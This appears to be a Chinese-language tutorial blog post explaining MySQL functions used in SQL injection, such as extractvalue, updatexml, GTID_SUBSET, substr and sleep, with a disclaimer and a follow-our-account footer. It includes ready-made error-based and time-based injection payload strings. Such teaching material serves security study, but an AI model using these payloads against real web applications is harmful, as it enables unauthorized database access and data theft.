Web安全-SQL注入常用函数(二)

★★实战前置声明★★

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、MySQL数据库构成

初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库:

# 默认自带4个系统数据库
information_schema
mysql
performance_schema
sys

# 查库/表/字段名
information_schema
|__schemata # 所有数据库的名字
|__schema_name # 数据库名
|__tables # 所有表的名字
|__table_schema # 表所属数据库的名称
|__table_name # 表的名字
|__columns # 所有字段的名字
|__table_schema # 字段所属数据库的名字
|__table_name # 字段所属表的名字
|__column_name # 字段的名字

2、SQL注入常用函数使用说明

以下内容基于MySQL数据库。

2.1、系统函数

system_user()       # 系统用户名
user() # 用户名
current_user() # 当前用户名
session_user() # 连接数据库的用户名
database() # 数据库名
version() # 数据库版本
load_file() # 转成16进制或10进制MySQL读取本地文件的函数
@@datadir # 读取数据库路径
@@basedir # 安装路径
@@version_compile_os # 数据库安装所在的操作系统

2.2、报错函数

2.2.1、extractvalue()

extractvalue(xml_frag, xpath_expr)接收两个字符串参数,xml_frag表示XML标记片段,xpath_expr表示XPath表达式,也称为定位器,返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用XPath路径法(示例:/a/b)表示的查找路径。如果XPath格式语法错误就会报错。SQL注入就是利用这个特性。

# 正常查询不报错
select extractvalue('<a></a>','/a/b');

# XPath格式语法错
select extractvalue('<a></a>','~');

# 报错信息
> 1105 - XPATH syntax error: '~'

SQL注入可以使用使用~的ascii码值0x7e拼接报错获取到想到的数据

字符型: 'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
数字型: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
2.2.2、updatexml()

updatexml(xml_doc, XPath_str, new_value) 参数一是String格式,XML文档对象名称,参数二:XPath格式语法(示例:/a/b),参数三是String格式,替换查找到的符合条件的数据。

字符型: 'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
数字型: and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
2.2.3、GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。GTID_SUBSET(set1, set2 ) 在set1中的GTID也在set2中,否则返回false(set1是set2的子集),GTID_SUBTRACT(set1, set2)返回在set1中,不在set2中的GTID集合(set1和set2的差集)。

# 查询报错
select GTID_SUBSET(user(),1);
select GTID_SUBTRACT(user(),1);

# 报错信息
> Malformed GTID set specification 'root@localhost'.

SQL注入拼接

'-GTID_SUBSET(user(),1)-'
# 或
'-GTID_SUBTRACT(user(),1)-'

2.3、截取函数

2.3.1、left

left(Str, index) ,参数一:待截取的字符串,参数二:从左边开始共截取多少位,举例:数据库名:security,

left(database(),1) ='s' # 结果:1-true, 0-false
left(database(),2) ='se' # 结果:1-true, 0-false

SQL注入时可以配合Burp Suite,快速爆破数据库名。

2.3.2、mid

mid(Str, start [, length]),参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。

mid(database(),1,1) ='s' # 结果:1-true, 0-false

功能同left。

2.3.3、substr

substr()和substring()函数功能一样,都为截取字符串。substr(Str, start [, length])和substring(Str, start [, length]) 两个函数,参数一样。参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。举例:数据库名:security,

substr(database(),1,1) ='s' # 结果:1-true, 0-false
substring(database(),1,1) ='s' # 结果:1-true, 0-false

2.4、判断函数

2.4.1、if

if(a, b, c)当a 为真时执行b; a为假时执行c。常用在时间盲注 and+if(1=1, sleep(1), sleep(5))--+

2.4.2、case when

case when 条件 then 正确的结果 else 错误的结果 end

2.5、其他函数

2.5.1、ascii

ascii(str)返回字符串的ascii码,在SQL注入中经常结合substr()函数一起使用,举例:数据库名:security,

select ascii(substr(database(),1,1));

# 查询结果是 115, s的ascii码是115

ASCII码转换和对照查询表:https://www.ghostgroup.cn/ascii/ascii.html

2.5.2、length

length(str)返回字符串的字节长度,举例:数据库名:security,

select length(database());
# 查询结果是 8
2.5.3、hex

hex(str)返回字符串的十六进制,在URL不可以出现@等特殊字符时可以该函数进行转换,再通过在线网站转换回来

select hex(user());

# 查询结果值
726F6F74406C6F63616C686F7374

到在线工具类网站:https://www.tomeko.net/online_tools/hex_to_ascii.php?lang=en 转换得到结果

 

 3、敬请关注我的公众号

敬请关注我的公众号:大象只为你,跟我学网安知识系列文章持续更新中......

 
 

热门相关:墨桑   墨桑   锦绣医妃之庶女凰途   随身英雄杀   拳罡